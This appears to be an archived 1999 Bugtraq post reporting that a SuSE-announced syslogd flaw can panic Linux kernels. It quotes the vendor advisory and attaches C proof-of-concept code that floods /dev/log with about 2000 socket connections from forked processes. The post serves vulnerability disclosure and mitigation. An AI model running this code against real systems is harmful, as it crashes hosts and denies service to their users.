Bugtraq mailing list archives

local users can panic linux kernel (was: SuSE syslogd advisory)


From: mixter () NEWYORKOFFICE COM (Mixter)
Date: Fri, 19 Nov 1999 03:59:00 +0100


The impact of the syslogd Denial Of Service vulnerability seems to
be bigger than expected. I found that syslog could not be stopped from
responding by one or a few connections, since it uses select() calls
to synchronously manage the connections to /dev/log. I made an attempt
with the attached test code, which makes about 2000 connects to syslog,
using multiple processes, and my system instantly died with the message:
'Kernel panic: can't push onto full stack'

I've been able to reproduce this as non-root user, although it had to
be done two times to overcome the stronger user resource limits, but
it worked. This has been tested with linux 2.0.38+syslog1.3 (redhat 5.2).

As a temporary fix, I'd strongly advise everyone who hasn't to set proper
user resource limits, but that is only a very temporary fix.

Taking a guess, I would say that the panic is caused by instability of
the linux select() implementation, and could therefore be abused in other
programs that manage an unlimited amount of connections using the select
syscall.

Mixter
________________________
mixter () newyorkoffice com
members.tripod.com/mixtersecurity

On Thu, 18 Nov 1999, Thomas Biege wrote:

_____________________________________________________________________________

                        SuSE Security Announcement - syslogd (a1)

        Package:  syslogd-1.3.33 (a1)
        Date:     Thu Nov 18 14:00:29 CET 1999

        Affected SuSE versions: 6.2 and 6.3
        Vulnerability Type:     local denial-of-service attack
        SuSE default package:   yes
        Other affected systems: all Linux systems using the syslog daemon
______________________________________________________________________________

A security hole was discovered in the package mentioned above.
Please update as soon as possible or disable the service if you are using
this software on your SuSE Linux installation(s).

Other Linux distributions or operating systems might be affected as
well, please contact your vendor for information about this issue.

Please note, that that we provide this information on an "as-is" basis only.
There is no warranty whatsoever and no liability for any direct, indirect or
incidental damage arising from this information or the installation of
the update package.
_____________________________________________________________________________

1. Problem Description

  The syslogd server uses a Unix Domain stream socket (/dev/log) for receiving
  local log messages via syslog(3).
  Unix Domain stream sockets are non connection-less, that means, that
  one process is needed to serve one client.

2. Impact

  By opening alot of local syslog connections a user could stop the
  system from responding.

3. Solution

  Updated the package from our FTP server.
______________________________________________________________________________

Please verify these md5 checksums of the updates before installing:

  c9a9e0f8fc4e29daf30f8a735ae333ab  syslogd-1.3.33-9.alpha.rpm  (AXP, 6.1)
  3104e26a8b474e215ed703b7c4d48888  syslogd-1.3.33-9.i386.rpm   (x86, 5.3)
  a13be12a75232f2f62f51fb1cae26fc0  syslogd-1.3.33-9.i386.rpm   (x86, 6.1)
  fc29df9455288f40eb1e8dbd0f47d5b3  syslogd-1.3.33-9.i386.rpm   (x86, 6.2)
  869b7fedd5b52807f12b7f66e282002c  syslogd-1.3.33-9.i386.rpm   (x86, 6.3)
______________________________________________________________________________

You can find updates on our ftp-Server:

  ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm
  ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm
  ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm
  ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm
  ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm

or try the following web pages for a list of mirrors:
  http://www.suse.de/de/support/download/ftp/inland.html
  http://www.suse.de/de/support/download/ftp/ausland.html

Our webpage for patches:
  http://www.suse.de/de/support/download/updates/index.html

Our webpage for security announcements:
  http://www.suse.de/de/support/security/index.html

If you want to report vulnerabilities, please contact
  security () suse de
______________________________________________________________________________

SuSE has got two free security mailing list services to which any
interested party may subscribe:

suse-security () suse com          - moderated and for general/linux/SuSE
                                  security discussions. All SuSE security
                                  announcements are send to this list.

suse-security-announce () suse com - SuSE's announce-only mailing list.
                                  Only SuSE's security annoucements are sent
                                  to this list.

To subscribe to the list, send a message to:
     <suse-security-subscribe () suse com>

To remove your address from the list, send a message to:
     <suse-security-unsubscribe () suse com>

Send mail to the following for info and FAQ for this list:
     <suse-security-info () suse com>
     <suse-security-faq () suse com>

_____________________________________________________________________________

  This information is provided freely to everyone interested and may
  be redistributed provided that it is not altered in any way.

Type Bits/KeyID    Date       User ID
pub  2048/3D25D3D9 1999/03/06 SuSE Security Team <security () suse de>

------BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7
tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ
xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63
Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo
choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI
BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u
v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+
x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0
Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq
MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2
saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o
L0oixF12Cg==
=pIeS
------END PGP PUBLIC KEY BLOCK-----
Signature by unknown keyid: 0x3D25D3D9



/*
 *
 * shutup - syslogd 1.3 denial of service
 * by Mixter <mixter () newyorkoffice com>
 *
 * This opens up to 2000 unix domain socket connections
 * to /dev/log, attempting to stop syslog from responding.
 * WARNING: This apparently causes the kernel to panic!
 * You might have to run this 2 times to reproduce it as non-root.
 * This code is for educational purposes only, do not abuse.
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PATH    "/dev/log"
#define SHUTUPS 200
#define PROCS   10

int
main (void)
{
  int s, i;
  struct sockaddr_un sun;
  char host[128];

  sun.sun_family = AF_UNIX;
  strncpy (sun.sun_path, PATH, 100);
  gethostname (host, 128);

  printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n";);
  printf ("syslog on %s is now being overloaded...\n", host);

  if (fork ())
    exit (0);

  for (i = 0; i < PROCS; i++)
    if (fork () == 0)
      break;

  for (i = 0; i < SHUTUPS; i++)
    {
      if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
        {
          perror ("socket");
          while (1);
        }

      if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
        {
          perror ("connect");
          close (s);
          i--;
        }
    }

  while (1);
}


Current thread: